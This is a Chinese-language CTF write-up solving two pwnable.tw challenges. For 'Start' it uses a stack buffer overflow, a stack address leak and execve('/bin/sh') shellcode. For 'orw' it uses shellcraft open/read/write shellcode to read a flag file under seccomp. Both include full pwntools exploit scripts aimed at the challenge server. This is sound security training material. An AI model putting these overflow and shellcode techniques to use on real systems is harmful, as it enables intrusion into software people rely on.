目录
一、Pwnable-Start
1.检查保护
入门级题目,保护全关
2.IDA分析
①只有start和exit两个函数。其中,start函数做了一次<SYS_write>和<SYS_read>
② 漏洞点在<SYS_read>读了0x3C个字符,可以覆盖到ret,如下所示:
+-----------------+ <----
| Let’ | |
+-----------------+ |
| s st | |
+-----------------+ |
| art | 14h
+-----------------+ |
| the | |
+-----------------+ |
| CTF: | |
+-----------------+ <-----
| ret(exit) |
+-----------------+
| Saved ESP |
High+-----------------+
③思路:由于未开启NX,考虑使用shellcode。第一轮覆盖ret为0x08048087泄露栈地址;第二轮将shellcode写入栈内,返回地址ret覆盖为栈地址。
关于shellcode的生成有两种方式:
①自己写汇编,用pwntools的asm生成shellcode,如下:
shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
这里解释一下,0x68732f6e和0x69622f2f组合在一起是hs/nib//,也就是binsh的小端序写法;而0xb,也就是11,是execve的系统调用号。
②在shellcode网站上找合适的,我选用的是Linux/x86 - execve(/bin/bash, [/bin/bash, -p], NULL) - 33 byteshttp://shell-storm.org/shellcode/index.html
http://shell-storm.org/shellcode/index.html
3.EXP
#!/usr/bin/env python3
# coding = utf-8
from pwn import *
context(arch = "i386", os = "linux", log_level = "debug")
#p = process('./start')
p = remote('chall.pwnable.tw',10000)
elf = ELF('./start')
#libc=ELF('./libc.so.6')
#gdb.attach(p, 'b *0x08048060')
shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
p.recvuntil('CTF:')
p.send(b'a'*20+p32(0x08048087))
ret=u32(p.recv(4)) + 0x14
#shellcode = b'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'
payload = b'a' * 20 + p32(ret) + shellcode
p.send(payload)
p.interactive()
二、pwnable-orw
1.检查保护
只开了canary保护
2.IDA分析
①main开头有一个seccomp(),之后是执行我们写入的shellcode
② 其中,seccomp()是用来禁用某些系统调用的。我们这里使用seccomp-tools,发现可以使用open、read、write,也就是我们说的orw:
③思路:打开文件sys_open('/home/orw/flag',0,0),读取文件sys_read(3,flag,0x100),写入标准输出sys_write(1,flag,0x30)。这里可以使用pwntools自带的shellcraft。当然也可以用上边所说的,自己写汇编然后用asm生成shellcode,这种比较标准的函数还是建议用shellcraft,比较方便。
3.EXP
#!/usr/bin/env python3
# coding = utf-8
from pwn import *
context(arch = "i386", os = "linux", log_level = "debug")
#p = process('./orw')
p = remote('chall.pwnable.tw',10001)
elf = ELF('./orw')
#libc=ELF('./libc.so.6')
#gdb.attach(p, 'b *0x08048060')
p.recvuntil('shellcode:')
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()